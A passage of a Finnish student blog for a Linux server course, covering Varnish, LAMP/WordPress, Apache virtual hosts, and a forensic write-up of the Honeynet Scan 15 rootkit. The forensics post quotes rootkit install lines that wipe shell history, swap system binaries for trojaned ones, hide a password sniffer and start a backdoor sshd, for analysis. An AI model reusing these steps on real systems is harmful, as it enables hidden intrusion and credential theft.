Kannattaa huomata, että paikallisessa koneessa portit ovat ohjattuna eri tavalla virtuaalikoneeseen kuin mitä virtuaalikoneessa on ohjattuna. Esimerkiksi Apacheen tehty porttimuutos EI vaikuta Vagrantissa tehtyihin porttiohjauksiin. Jos muuttaisin Vagrantfilen “config.vm.forward_port 80, 8080”-asetusta muotoon “config.vm.forward_port 8080, 8080”, saisin Apachen tarjoaman sivuston taas näkyviin. Mutta en tee niin nyt koska päämääränä oli saada Varnish Apachen ja asiakkaan välille proxyksi.</p>
Varnishin porttimuutokset</h2>
Varnishin asetukset löytyvät kahdesta paikkaa: /etc/default/varnish-tiedostosta sekä /etc/varnish/default.vcl. Ensimmäisestä tiedostosta löytyy asetukset mitä asetuksia Varnishin käynnistykseen käytetään ja jälkimmäisessä on sisältöpalvelimen asetukset.</p>
Muokataan /etc/default/varnish-tiedostoa ja määritetään Varnish kuuntelemaan porttia 80 portin 6081 sijaan:</p>
sudo nano /etc/default/varnish</span></span></code></pre>
</p>
Oletuksena Varnish on määritetty hakemaan sisältöä osoitteesta 127.0.0.1 portista 8080 (määritetty tiedostossa /etc/varnish/default.vcl), joten minun ei tarvinnut muokata kyseistä tiedostoa. Lopuksi käynnistetään molemmat palvelut:</p>
sudo service apache2 start</span></span>
sudo service varnish start</span></span></code></pre>
Ja testataan selaimella näkyykö taas WordPress-sivusto:</p>
</p>
Optimoinnin testaus</h2>
Testasin Varnishin vaikutusta sivuston nopeuteen ab-ohjelmalla.

Kaikki testit on tehty virtuaalikoneen sisällä ssh-yhteyden kautta.</p>
</p>
</p>
Kun vertaamme tuloksia Apachen ja Varnishin välillä, huomaamme valtavia eroja. Apachella jopa 58 pyyntöä epäonnistuu! Tutkiessani tarkemmin asiaa, vaikuttaisi siltä että palvelimesta loppuu resurssit palvella asiakkaita:</p>
</p>
Ero on merkittävä Varnishiin verrattuna. Varnishissa alkaa ilmenemään epäonnistuvia pyyntöjä vasta 1000 samanaikaisella pyynnöllä 1000 asiakkaalta samaan aikaan:</p>
</p>
Varnish ei myöskään aiheuta samanlaisia pitkäaikaisia kuormapiikkejä prosessorille kuin Apache.</p>
ISO-tiedostojen välimuistittamisen ohitus Varnishista</h2>
Yritin muuttaa default.vcl-tiedostoa niin että Varnish cachettaisi niitä välimuistiin vaan lataisi ne suoraan Apachesta. Laitoin seuraavan rimpsun tiedostoon:</p>
sub vcl_recv {</span></span>
        if(req.url ~ "^/~vagrant/isos/") {</span></span>
                return (pass);</span></span>
        }</span></span>
}</span></span></code></pre>
Jostakin syystä Varnishin kautta iso-tiedostoja noutaessa selaimeen tulee Connection Reset-virhe. Myöskään wgetillä tiedostoa ei saa hostilla noudettua, mutta paikallisesti saa ssh:n kautta. Syytä en ongelmalle keksinyt mutta oletan sen johtuvan porttiohjauksista Vagrantin kanssa. Linkki varnishin lokiin kiinnostuneille:  varnishlog.txt</a></p>
Lähteet</h1>

Vagrant Getting Started Guide (http://docs.vagrantup.com/v1/docs/getting-started/index.html</a>)</li>
Tero Karvinen: Optimointi-luento (http://terokarvinen.com/2012/aikataulu-linux-palvelimena-ict4tn003-7-ict4tn003-kevaalla-2013</a>)</li>
Introduction to Varnish (http://www.c50k.com/varnish-cache.html</a>)</li>
</ul>


Linux palvelimena: LAMP-stackin ja WordPressin asennus & konfigurointi
2013-02-11T00:00:00+00:00
11.2.2013 klo 15.16</p>
Tehtävänä oli asentaa koneelle LAMP-stack ja sen päälle asentaa ja konfiguroida WordPress.</p>
Tällä kertaa päätin tehdä tehtävän kannettavalla VirtualBoxin päällä. Latasin VirtualBoxin Windows-version koneelleni täältä: http://download.virtualbox.org/virtualbox/4.2.6/VirtualBox-4.2.6-82870-Win.exe</a></p>
VirtualBoxin latautuessa latasin Xubuntu 12.10 32-bittisen version levykuvan täältä: http://se.archive.ubuntu.com/mirror/cdimage.ubuntu.com/xubuntu/releases/12.10/release/xubuntu-12.10-desktop-i386.iso

</a>Latasin 32-bittisen version lähinnä siksi, etten virtuaalikoneessa aio käyttää yli 3,5 gigaa muistia.</p>
VirtualBoxin asennus</h1>
VirtualBoxin asennus oli nopea eikä vaatinut erityisesti mitään säädettävää. Huomattavaa on, että asennus katkaisee hetkeksi verkkoyhteydet asentaessaan virtuaalisia verkkokortteja(tuli opittua tämä kantapään kautta kun levykuvan lataaminen katkesi asennuksen aikana).</p>
Uuden virtuaalikoneen luominen</h2>
Lisäsin Virtualboxiin uuden virtuaalikoneen ja käytin pohjana Ubuntun asetuksia jotka konfigurointivelho valitsi automaattisesti. Asetuksiksi määritin seuraavat:</p>
Nimi: srv-test1</span></span>
Konetyyppi: Linux - Ubuntu</span></span>
RAM: 512 Mb</span></span>
HDD: 8 Gb</span></span>
Network: Bridged Adapter, liitetty fyysiseen WLANiin</span></span></code></pre>
Tämän jälkeen kävin lisäämässä virtuaalikoneen asetuksista Xubuntun levykuvan levyasemaan buuttaamista varten.</p>
</p>
Seuraavaksi käynnistin virtuaalikoneen joka käynnistyi live-imagelta. Asensin imagen koneen virtuaalilevylle jotta olisi tilaa asentaa LAMP:in osat. Asennus meni ripeästi eikä vaatinut mitään erityisiä säätöjä. Määritin seuraavat asetukset:</p>
Asennus koko levylle</span></span>
Näppäimistökartta: Suomi</span></span>
Aikavyöhyke: Helsinki</span></span>
Konenimi: Joni-Virtualbox</span></span></code></pre>LAMP asennus</h1>
Aloitin asentamalla SSH-daemonin virtuaalikoneeseen jotta voin käyttää konetta Puttyn kautta:</p>
sudo apt-get install ssh</span></span></code></pre>
Seuraavaksi asensin Apachen, MySQL:n ja PHP:n virtuaalikoneeseen:</p>
sudo apt-get update</span></span>
sudo apt-get install apache2 libapache2-mod-php5 mysql-server</span></span></code></pre>
MySQL-palvelimen salasanaksi määritin SuperUser12#</strong>. Testasin Apachen toimivuuden avaamalla selaimessa palvelimen osoitteen 10.40.1.141:</p>
</p>
Kotihakemistot PHP:llä käyttöön</h2>
Otin käyttöön käyttäjien kotisivut Apachessa ja loin omalle käyttäjälleni kotisivuhakemiston sekä PHP:n testaustiedoston komennoilla:</p>
sudo a2enmod userdir</span></span>
sudo /etc/init.d/apache2 restart</span></span>
mkdir mkdir ~/public_html</span></span>
echo "<?php echo \"hei maailma\"; ?>" >> ~/public_html/index.php</span></span></code></pre>
Lopuksi käydään vielä kommentoimassa pois muutama rivi /etc/apache2/mods-enabled/php5.conf-tiedostosta jotta saadaan käyttäjien kotisivuille PHP5 käyttöön ja käynnistetään Apache uudelleen:</p>
sudo nano /etc/apache2/mods-enabled/php5.conf</span></span>
sudo /etc/init.d/apache2 restart</span></span></code></pre>
</p>
Lopuksi testataan että käyttäjän nettisivut toimivat PHP:llä:</p>
</p>
Uuden käyttäjän+tietokannan luominen MySQL-palvelimeen WP:tä varten</h2>
Tein tietokannan näillä ohjeilla</a>. Avasin yhteyden MySQL-palvelimeen komennolla:</p>
mysql -u root -p</span></span></code></pre>
Jonka jälkeen syötin MySQL-palvelimen root-käyttäjän salasanan. Loin WordPressiä varten uuden tietokannan nimeltä “wordpress_joni</strong>” ja sille käyttäjän “wp_joni</strong>” salasanalla “zareje@ebuf@as!5=tAQ-wr&dephEka9</strong>“:</p>
CREATE DATABASE wordpress_joni;</span></span>
GRANT ALL PRIVILEGES ON wordpress_joni.* TO wp_joni@localhost IDENTIFIED BY 'zareje@ebuf@as!5=tAQ-wr&dephEka9';</span></span></code></pre>
Lopuksi annoin vielä komennon “quit” jolla poistutaan MySQL-konsolista.</p>
WordPressin asennus</h1>
Hain WordPressin asennuspaketin ja purin paketin ja siirsin puretut tiedostot public_html-hakemistoon komennoilla:</p>
wget http://fi.wordpress.org/wordpress-3.5.1-fi.tar.gz</span></span>
tar -xf wordpress-3.5.1-fi.tar.gz</span></span>
mv wordpress/* ./public_html/</span></span></code></pre>
Sitten yritin saada WordPressin asennusta käyntiin mutta sain virheilmoituksen PHP:n puuttuvasta laajennoksesta:</p>
</p>
Ongelma korjautui asentamalla php5-mysql-paketti:</p>
sudo apt-get install php5-mysql</span></span></code></pre>
Asennuksen jälkeen asetusvelho avautuikin ja sain syötettyä tietokannan tiedot kenttiin jonka jälkeen pyydettiin manuaalisesti luomaan wp-config.php-tiedosto. Loin uuden tiedoston nanolla ja liitin sinne velhon antaman tekstin:</p>
nano wp-config.php</span></span></code></pre>
</p>
</p>
Kun wp-config-tiedosto saatiin luotua, jatkoin asennusta ja määritin sivuston nimen, käyttäjänimen, salasanan sekä sähköpostiosoitteen. Salasanaksi määritin “WordPress12#</strong>” testaustarkoituksissa. Lopputuloksena meillä on toimiva WordPress-sivusto:</p>
</p>
WordPressin konfigurointi</h1>
Permalinks käyttöön</h2>
Jotta sivuston linkit näyttäisivät siisteiltä ja luettavilta, laitoin WordPressistä permalinksit käyttöön. Asetukset löytyivät kohdasta Asetukset->Osoiterakenne</strong> Dashboardista. Valitsin asetukseksi toisen vaihtoehdon jossa on vuosi,kuukausi,päivä sekä otsikko:</p>
</p>
Asetuksien tallennuksen jälkeen WP huomautti ettei .htaccess-tiedostoon voida kirjoittaa ja että minun pitää tehdä muutokset itse. Kopioin tekstin alta, avasin tiedoston nanolla ja liitin tekstin sinne:</p>
nano .htaccess</span></span></code></pre>
Aktivoidaan vielä Apachen Rewrite-moduuli jotta tuo muutos toimisi palvelimella:</p>
sudo a2enmod rewrite</span></span>
sudo /etc/init.d/apache2 restart</span></span></code></pre>
Nyt permalinkkien pitäisi toimia. Testataan vielä selaimella:</p>
</p>
Osoite on määritetyssä muodossa joten permalinkit toimivat.</p>
17.25</p>
Esimerkkipostauksen teko, teeman vaihto</h2>
Teeman vaihto WP:ssä onnistuu Dashboardin Ulkoasu -> Teemat-valikon kautta. Esimerkkiartikkeli luotuna ja teema vaihdettuna:</p>
</p>
Oman teeman teko WordPressiin</h2>
Tein oman teeman WordPressiin tämän tutoriaalin avulla: http://www.siteground.com/tutorials/wordpress/wordpress_create_theme.htm</a></p>
Aloitin teeman teon luomalla omateema-hakemiston wp-content/themes-hakemistoon jossa teemat sijaitsevat:</p>
mkdir omateema</span></span></code></pre>
Tämän jälkeen loin header.php, footer.php, index.php, sidebar.php ja style.css-tiedostot joihin kopioin tutoriaalin koodit pohjaksi. Testasin toimiiko pohja laittamalla ensin Dashboardista oletusteemaksi luomani teeman ja vilkaisin toimiiko se selaimessa:</p>
</p>
Muokkasin teemaa vähän vähemmän rujoksi, tosin lopputulos ei oikeastaan silmiä hivele:</p>
</p>
WordPressin varmuuskopioiminen</h2>
WordPressin varmuuskopioiminen onnistuu näppärästi Dasboardin kautta Työkalut -> Vie</strong> -valikosta. Valitsin kopioitavaksi kaiken sisällön.</p>
Palomuurin asentaminen ja konfiguroiminen</h2>
Konfiguroin palomuurin sallimaan yhteydet porttiin 80(HTTP) ja 22(SSH) seuraavilla komennoilla:</p>
sudo ufw allow 80/tcp</span></span>
sudo ufw allow 22/tcp</span></span></code></pre>
Lopuksi käynnistin palomuurin ja tarkistin säännöt komennoilla:</p>
sudo ufw enable</span></span>
sudo ufw status</span></span></code></pre>
Tuloksena portit 80 ja 22 on sallittuna sisäänpäin:</p>
</p>
Lähteet</h1>

Create MySQL database from command line (http://www.linux.org/article/view/create-mysql-database-via-command-line</a>)</li>
Tero Karvinen: Sisällönhallintajärjestelmät-luento (http://terokarvinen.com/2012/aikataulu-linux-palvelimena-ict4tn003-7-ict4tn003-kevaalla-2013</a>)</li>
Creating WordPress theme (http://www.siteground.com/tutorials/wordpress/wordpress_create_theme.htm</a>)</li>
</ul>


Linux palvelimena: Apache ja virtualhostit
2013-02-02T00:00:00+00:00
2.2.2012 klo 12.16</p>
Tämän viikon kotitehtävässä olisi tarkoitus konfiguroida Apacheen pari virtuaalihostia ja tutkailla niiden toimintaa. Tälläkertaa ajattelin tehdä tehtävän vähän eritavalla kuin aikaisemmin: asentaa virtuaalikoneen ESXi-hostilleni ja tehdä harjoitukset siellä.</p>
Aloitin tehtävän kirjautumalla ESXi-hostille VMWaren vSphere Client-softalla, jolla hallitaan ESXi- ja vCenter-palvelimia:</p>
</p>
Virtuaalikoneen luominen ja asentaminen harjoitusta varten</h1>
Tein hostille uuden virtuaalikoneen seuraavanlaisilla spekseillä:</p>

Käyttöjärjestelmä: Debian 6 64-bit</li>
CPUs: 1</li>
RAM: 1024 Mb</li>
HDD: 16 Gb</li>
Network Adapters: 1 kpl, Internal network</li>
</ul>
Tässä tapauksessa käytän Ubuntun sijasta Debiania koska palvelimellani ei sattunut olemaan Ubuntun levykuvaa.</p>
Asetuksista määritin virtuaalikoneen käynnistymään ISO-levykuvalta palvelimen omalta datastorelta sekä virtuaalikoneen verkoksi sisäverkon, koska emme halua palvelinta näkymään julkiseen verkkoon.</p>
</p>
Käyttöjärjestelmän asentaminen virtuaalikoneeseen</h2>
Kuinka sitten asennetaan käyttöjärjestelmä tietokoneeseen joka ei fyysisesti ole olemassa? Itse asennus ja alkukonfiguroinnit tapahtuvat vSphere Clientin kautta sen sisältämän konsolitoiminnon avulla. Kun verkkoasetukset ovat kunnossa, voimme jatkaa virtuaalikoneen kanssa työskentelyä SSH-yhteyden läpi.</p>
Jokaisella virtuaalikoneella on oma konsolinsa joka on ikäänkuin virtuaalinen “näyttöpääte”, jonka kautta voidaan olla vuorovaikutuksessa virtuaalikoneen kanssa. Konsoli-ikkunan kautta onnistuu myös näppäimistön ja hiiren käyttö virtuaalikoneen kanssa ja sen kautta voidaan hallita CD-, levyke-asemia ja USB-laitteita.</p>
</p>
Itse käyttöjärjestelmän asennukseen liittyviä kohtia en tässä käy läpi, tässä tiivistettynä valitut asetukset:</p>

Asennuskieli: Englanti</li>
Näppäimistökartta: Suomi</li>
Hostname: srv-deb2</li>
Domain: hima.lan</li>
Root-passut ja käyttäjätunnuksen määritys</li>
Osiointi: /-osio, käytä koko levyä + swap</li>
Asennettavat paketit: ruksi pois kohdasta Graphical User Interface; ruksit kohtaan Web Server ja SSH Server</li>
GRUB: asenna MBR:ään</li>
</ul>
Asennus on valmis! Asennus alkoi 12.21 ja se oli käyttövalmiina kirjautumisruudussa 12.27. Ei paha asennusaika, ottaen huomioon että kyeessä oli netinstall-asennus.</p>
</p>
Verkkoasetukset kuntoon</h2>
Nyt meillä on toimiva virtuaalikone. Määritetäänpä sille kiinteä IP DHCP-poolin ulkopuolelta:</p>
su</span></span>
nano /etc/network/interfaces</span></span></code></pre>
Ensimmäisellä komennolla otamme käyttöön pääkäyttäjän oikeudet kirjautumalla järjestelmään roottina (Debianissa ei ole oletuksena sudoa asennettuna). Sitten avaamme nanolla /etc/network/interfaces-tiedoston, jossa kaikkien verkkokorttien asetukset ovat määritettyinä.</p>
</p>
Minun tapauksessani siellä ei näy loopback-interfacen lisäksi kuin virtuaalikoneen verkkokortti eth0. Muutin sen asetukset seuraavanlaisiksi:</p>
# The primary network interface</span></span>
auto eth0</span></span>
    iface eth0 inet static</span></span>
        address 10.40.1.11</span></span>
        netmask 255.0.0.0</span></span>
        gateway 10.40.1.3</span></span></code></pre>
Jotta uudet asetukset tulisivat voimaan, käynnistetään verkkoyhteys eth0 uudelleen komennolla:</p>
ifdown eth0 && ifup eth0</span></span></code></pre>
Nyt voimme kokeilla toiselta koneelta vastaako virtuaalikone pingiin:</p>
</p>
DNS-asetukset</h2>
DNS-asetukset löytyvät tiedostosta /etc/resolv.conf</strong>. Avataan ne komennolla:</p>
nano /etc/resolv.conf</span></span></code></pre>
Minun tapauksessani asetuksissa on määritettynä domain-osoite sekä kaksi nimipalvelinta:</p>
</p>
Käytän tässä harjoituksessa verkon DNS-palvelinta osotteiden määrittelyyn. Määrittelin DNS-palvelimeen staattisen tietueen “srv-deb2” osoittamaan virtuaalipalvelimelle, jotta voin käyttää kyseistä nimeä osoitteena selaimessa:</p>
</p>
Apachen konfigurointi</h2>
Koska valitsin jo asennusvaiheessa pakettienvalinnassa kohdan “Web Server”, on minulla Apache jo asennettuna ja toiminnassa.</p>
Uuden virtuaalihostin luominen onnistuu näppärästi kopioimalla /etc/apache2/sites-available-hakemistosta default-tiedosto sites-enablediin uudella nimellä:</p>
cp /etc/apache2/sites-available/default /etc/apache2/sites-enabled/pumba.com</span></span></code></pre>
Sen jälkeen muokataan pumba.com-tiedostoa ja lisätään sinne ServerName-asetus ja muutetaan DocumentRoot-hakemiston polku halutuksi:</p>
</p>
Sitten luodaan virtuaalihostin hakemisto ja lisätään sinne index.html-tiedosto:</p>
mkdir /var/www/pumba-com</span></span>
echo "Jee Pumban kotisivut" >> /var/www/pumba-com/index.html</span></span></code></pre>
Lopuksi määritellään DNS-palvelimelle pumba.com osoittamaan virtuaalipalvelimelle:</p>
</p>
Lopputuloksena klo 14.12 meillä on kaksi toimivaa virtuaalihostia joista toinen vastaa palvelimen nimellä ja IP-osoitteella sekä toinen joka vastaa pumba.com-osoitteeseen:</p>
</p>
Virheilmoitukset</h1>
Virhe 404 – Not found</h3>
10.40.1.199 - - [02/Feb/2013:14:25:52 +0200] "GET /jee.html HTTP/1.1" 404 499 "- " "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Ch rome/24.0.1312.57 Safari/537.17"</span></span></code></pre>
Yritin hakea selaimella http://pumba.com/jee.html</a>, jota ei ollut palvelimella olemassa.</p>
Virhe 403 – Forbidden</h3>
10.40.1.199 - - [02/Feb/2013:14:41:37 +0200] "GET /salainen.html HTTP/1.1" 403 505 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17"</span></span></code></pre>
Yritin avata selaimella http://pumba.com/salainen.html</a>, mutta siihen ei ole oikeuksia. Otin oikeudet pois virheen aiheuttamista varten komennolla:</p>
chmod o-r salainen.html</span></span></code></pre>Lähteet</h1>

NetworkConfiguration – Debian Wiki (http://wiki.debian.org/NetworkConfiguration#Configuring_the_interface_manually</a>)</li>
VirtualHost Examples – Apache HTTP Server (http://httpd.apache.org/docs/2.2/vhosts/examples.html</a>)</li>
Tero Karvinen: Apache; kertaus ja edistynyttä asiaa w05 -luento (http://terokarvinen.com/2012/aikataulu-linux-palvelimena-ict4tn003-7-ict4tn003-kevaalla-2013</a>)</li>
</ul>


Linux palvelimena: palvelinmurron tutkintaa
2013-01-22T00:00:00+00:00
22.1.2013 klo 17.39</p>
Kotitehtävän tarkoituksena oli löytää saastuneen palvelimen juuriosiosta otetusta levykuvasta haittaohjelma se selvittää kuka sen on tehnyt ja mitä se tekee/on tehnyt palvelimelle. Tehtävänannon ja saastuneen levykuvan löydät täältä: http://old.honeynet.org/scans/scan15</a></p>
Aloitin tehtävän käynnistämällä Xubuntun live-cd:n virtuaalikoneessa saastuneen levykuvan tutkimista varten. Määritin virtuaalikoneeseen seuraavanlaiset ominaisuudet:</p>
Virtualisointiohjelmisto: VMWare Fusion 5.0.2

Prosessori: 1 ydin

Muisti: 1024 megatavua

Kovalevy: ei ole, buutataan live-imagelta

1 verkkokortti, NAT-moodissa</p>
Asensin The Sleuth Kitin jotta pääsin tutkimaan ja palauttamaan tiedostoja saastuneelta levykuvalta komennolla:</p>
sudo apt-get update | sudo apt-get install sleuthkit</span></span></code></pre>
Tämän jälkeen latasin saastuneen levykuvan tehtävänannon sivulta(http://old.honeynet.org/scans/scan15</a>), purin sen ja siirryin juuri luotuun hakemistoon:</p>
tar -xf honeypot.tar.gz</span></span>
cd honeypot/</span></span></code></pre>
Tehtävässä mainittiin että haittaohjelma oli poistettu. Käytin Sleuthkitin tsk_recover-työkalua (Kiitokset Tero Karviselle</a> tästä vinkistä) jotta saisin palautettua poistetut tiedostot levykuvalta:</p>
tsk_recover honeypot.hda8.dd unallocated</span></span></code></pre>
Mounttasin levykuvan honeypot -hakemistoon tarkempaa tutkimista varten:</p>
mkdir honeypot</span></span>
sudo mount honeypot.hda8.dd honeypot/</span></span></code></pre>Haittaohjelman löytäminen</h1>
22.1.2013 klo 18.22</p>
Haittaohjelma löytyi suht helposti kun tiedettiin tehtävän kuvauksesta että se on poistettu. Tällöin voidaan olettaa, että jos tiedostoa ei ole ylikirjoitettu, se löytyy tsk_recover-komennon luomasta unallocated-hakemistosta palautettuna.</p>
Kun siirryin unallocated-hakemistoon, löysin sieltä hyvinkin epäilyttävän näköisen tarball-paketin. Purin paketin ja BINGO, sieltähän ne pöpön tiedostot löytyivät:</p>
tar -xf last.tgz</span></span>
cd last</span></span>
ls -l</span></span></code></pre>
</p>
Hakemistossa on “install”-skripti. Tarkastellaanpa lähemmin mitä se tekee:</p>
Rootkin asennuskripti</h1>
</p>
</p>
</p>
Ensiksi skripti tyhjentää ruudun sekä poistaa HISTFILE-ympäristömuuttujan:</p>
clear</span></span>
unset HISTFILE</span></span></code></pre>
Sitten käydään läpi onko make, gcc-kääntäjä ja ssh-daemon asennettuna. Tämän jälkeen korvataan järjestelmän ohjelmia saastuneilla. Kaikki korvattavat ohjelmat ovat sellaisia mitkä voisivat näyttää rootkitin olemassaolon ja siksi rootkit vaihtaa ne piiloutuakseen järjestelmään:</p>
rm -rf /sbin/ifconfig</span></span>
mv ifconfig /sbin/ifconfig</span></span>
rm -rf /bin/netstat</span></span>
mv netstat /bin/netstat</span></span>
rm -rf /bin/ps</span></span>
mv ps /bin/ps</span></span>
rm -rf /usr/bin/top</span></span>
mv top /usr/bin/top</span></span>
cp -f mkxfs /usr/sbin/</span></span></code></pre>
Ylläoleva viimeinen rivi kopioi paketissa olleen mkxfs-ohjelman /usr/sbin-hakemistoon. Google osasi kertoa että kyseessä olisi jokin tiedostojärjestelmän luomisohjelma: http://www.fiveanddime.net/man-pages/mkxfs.8.html</a>. Näin ei kuitenkaan ole tässä tapauksessa, vaan ohjelma vaikuttaisi olevan ssh-daemon uudelleennimettynä(Tämän sain selville vilkaisemalla lsattr-tiedostoa edempänä):</p>
</p>
Tämän jälkeen skripti luo tiedoston /dev/rpm, johon se listaa ohjelmien nimiä. En tiedä miksi, mutta luulisin että siihen listautuu ohjelmat, jotka rootkit haluaa pitää piilossa näkyviltä. Se luo myös tiedoston /dev/last-johon kirjoitetaan numeroita, jotka vaikuttavat ip-osotteiden osilta ja osa prosessien PID-numeroilta.</p>
Piilohakemistot /dev/ida/.drag-on ja “.. “</h2>
Skripti luo /dev/ida-hakemistoon hakemistot “drag-on” ja “.. “, jonne se kopioi samat tiedostot ja sen jälkeen poistaa alkuperäiset:</p>
mkdir -p /dev/ida/.drag-on</span></span>
mkdir -p /dev/ida/".. "</span></span>
cp linsniffer logclear sense sl2 mkxdfs s ssh_host_key ssh_random_seed /dev/ida/.drag-on/</span></span>
cp linsniffer logclear sense sl2 mkxdfs s ssh_host_key ssh_random_seed /dev/ida/".. "</span></span>
rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed</span></span>
touch /dev/ida/.drag-on/tcp.log</span></span>
touch /dev/ida/".. "/tcp.log</span></span></code></pre>
Linsniffer on jonkinlainen salasanojenhaisteluohjelma, joka haistelee salasanoja verkkoliikenteestä. Tarkastellessani /dev/ida/.drag-on/tcp.log-tiedostoa tajusin sen olevan loki linsnifferistä, josta on suodatettu kaikki muu pois paitsi salasanat ja hostnamet:</p>
</p>
logclear ja sense-ohjelmat ovat perl-skriptejä jotka hoitavat linsnifferin lokin suodattamisen ja siivoamisen. ssh-tiedostot ovat takaportin asettamista varten.</p>
Skripti ylikirjoittaa /etc/inetd.conf ja /etc/services-tiedostot järjestelmässä asettaakseen oman pop3-palvelun:</p>
</p>
Tämän jälkeen poistetaan /usr/bin/lsattr, lisätään /etc/rc.d/rc.sysinit-tiedostoon uusi rivi automaattista käynnistystä varten ja lopuksi kopioidaan rootkitin oma lsattr-tiedosto takaisin /usr/bin-hakemistoon:</p>
rm -rf /usr/bin/lsattr</span></span>
echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit</span></span>
echo >> /etc/rc.d/rc.sysinit</span></span>
cp -f lsattr /usr/bin/</span></span>
chmod 500 /usr/bin/lsattr</span></span>
chattr +i /usr/bin/lsattr</span></span>
/usr/bin/lsattr</span></span>
sleep 1</span></span></code></pre>
Katsotaampa mitä lsattr-tiedosto sisältää:</p>
#!/bin/sh</span></span>
cd /dev/ida/.drag-on</span></span>
./mkxfs -f ./s</span></span>
./linsniffer >> ./tcp.log &</span></span>
cd /</span></span></code></pre>
lsattr siis ajetaan koneen käynnistyksessä. Skripti siirtyy /dev/ida/.drag-on-hakemistoon ja ajaa sieltä mkxfs ja linsnifferin. Mkxfs on todellisuudessa ssh-daemon, jota ajetaan s-tiedostosta haetuilla asetuksilla. Kun tarkastellaan mitä s-tiedostossa on, saadaan selville että mkxfs onkin ssh-daemon, jota ajetaan portissa 5:</p>
</p>
last.cgi</h2>
lsattr-tiedoston tuunailun jälkeen skripti näyttää etsivän paikkaa last.cgi-tiedostolle. Tarkastellessani tiedostoa catilla sain selville sen olevan toinen takaportti järjestelmään komentojen antamista varten:</p>
</p>
Tietojen keräys ja lähetys</h2>
Kun last.cgi-loopit on käyty läpi, skripti kerää tietokoneesta tietoa verkosta, raudasta ja konfiguraatiosta, se lähettää ne eteenpäin sähköpostitse kahteen osoitteeseen:</p>
</p>
Lopuksi se siivoaa jälkensä ja poistaa last-hakemiston, tarballin ja computer-tiedoston.</p>
Bonuskysymyksessä kysyttiin tehtäväannossa oliko haittaohjelma asennettuna järjestelmään. Vastaus on kyllä, koska:</p>

/dev/ida/.drag-on/ ja /dev/ida/”.. “-hakemistot on olemassa sisältöineen</li>
/dev/rpm ja /dev/last -tiedostot ovat olemassa asennuskriptin syöttämine sisältöineen</li>
/bin/ps, /bin/netstat ja /sbin/ifconfig-tiedostoissa on kaikissa sama päivämäärä eli 26.2.2001 ja koko kuin last-hakemiston vastaavissa tiedostoissa.</li>
</ul>
Lähteet</h1>

Scan of the month 15 (http://old.honeynet.org/scans/scan15/</a>)</li>
The Sleuth Kit (http://www.sleuthkit.org/sleuthkit/</a>)</li>
Tero Karvinen: “Rosvoja ja kunnon kansalaisia” -luento</li>
Hacked by linsniffer & luckscan: http://tech.dir.groups.yahoo.com/group/redhat/message/5683</a></li>
</ul>


Linux palvelimena 1. kotitehtävä
2013-01-21T00:00:00+00:00
Asennusmedian luominen</h1>
Aloitin työskentelyn tekemällä ensin Xubuntulle asennusmedian. Olen muutaman vuoden ajan tehnyt perinteisen CD-kiekon sijaan buuttaavan USB-tikun Unetbootinilla. Tikulta ajettaessa etuina ovat:</p>

Nopea käynnistyminen</li>
Tallennusmahdollisuus</li>
Kestävyys (USB-tikkua ei haittaa naarmut eikä oikeastaan edes kuorien puuttuminen)</li>
</ul>
Huono puoli USB-käynnistysmetodissa on se että läheskään kaikki koneet, varsinkaan vanhemmat, ei tue buuttaamista USB:ltä. Itselläni laitteisto on sen verran tuoretta että ne tukevat sitä + ajan Linuxia usein virtuaalikoneissa.</p>
Unetbootin?</h2>
Unetbootin on kätevä monialustainen työkalu Live Linux USB:n tekemiseen. Työkalun kautta voi joko kirjoittaa tikulle valmiiksi koneelle ladatun ISO-tiedoston tai ladata työkalun kautta haluamasi distron ja se kirjoittaa sen tikulle. Unetbootinin käyttö on hyvin simppeliä:</p>
</p>

Valitse haluamasi distro pudotusvalikosta TAI valitse koneeltasi ISO-levykuva jonka haluat kirjoittaa tikulle</li>
Valitse oikea levyasema (HUOM! Tämä kannattaa tarkistaa todella tarkkaan, ettei ohjelma kirjoita väärälle levylle, nimim. ”kokeiltu on”)</li>
Aloita valitsemalla ”OK”, ohjelma alkaa valintasi mukaan joko lataamaan haluamasi distron levykuvaa tai kirjoittamaan valitsemaasi ISO-tiedostoa tikulle. Tässä välissä ehtii hyvin käymään kahvikupposen hakemassa.</li>
Valmis!</li>
</ol>
Latasin ja laitoin tikulle Unetbootinin avulla Xubuntu 12.04:n  x86-versiona, koska testikoneeni on sattumoisin 32-bittinen. Testikoneena toimii vanha sotaratsuni IBM Thinkpad x60s. Kytkin tikun koneeseen, käynnistin sen ja painoin käynnistyksessä F12 jolla ThinkPadeissa aukeaa käynnistysvalikko.</p>
</p>
Lopputulos: Xubuntu käynnistyi ongelmitta viisivuotiaassa sotaratsussani. Operaatioon meni aikaa noin 20 minuuttia, josta levykuvan latautuminen kesti n. 15 minuuttia.</p>
Työasemat ja tietoverkot 24, Linux-koe</h1>
SSH:n asennus</h2>
Asensin Xubuntun virtuaalikoneeseen johon se asentui heittämällä. Etäkäyttöä varten asensin koneeseen SSH-daemonin komennolla:</p>
sudo apt-get install ssh</span></span></code></pre>
Testasin ssh:n toimivuuden kirjautumalla omilla tunnuksilla paikalliselle koneelle:</p>
ssh joni@localhost</span></span></code></pre>Apachen asennus ja konfigurointi</h2>
Tämän jälkeen asensin web-palvelimeksi apachen, joka löytyi näppärästi paketinhallinnasta myös:</p>
sudo apt-get install apache2</span></span></code></pre>
Jotta kaikki käyttäjät saisivat omat nettisivut koneelle, aktivoin apachen userdir-moduulin, joka mahdollistaa käyttäjien ylläpitävän omia kotisivuja kotihakemistossa sijaitsevan public_html-hakemiston kautta. Userdir-moduulin aktivoiminen onnistuu siirtämällä userdir.conf ja userdir.load –tiedostot /etc/apache2/mods-available –hakemistosta /etc/apache2/mods-enabled –hakemistoon seuraavasti:</p>
sudo mv /etc/apache2/mods-available/userdir.conf /etc/apache2/mods-enabled/</span></span>
sudo mv /etc/apache2/mods-available/userdir.load /etc/apache2/mod-enabled/</span></span></code></pre>
Sitten käynnistetään apache2-daemon uudelleen:</p>
sudo /etc/init.d/apache2 restart</span></span></code></pre>
Tämän jälkeen tehdään vielä käyttäjälle kotihakemistoon public_html-hakemisto. Tästä hakemistosta Apache hakee käyttäjien kotisivut.</p>
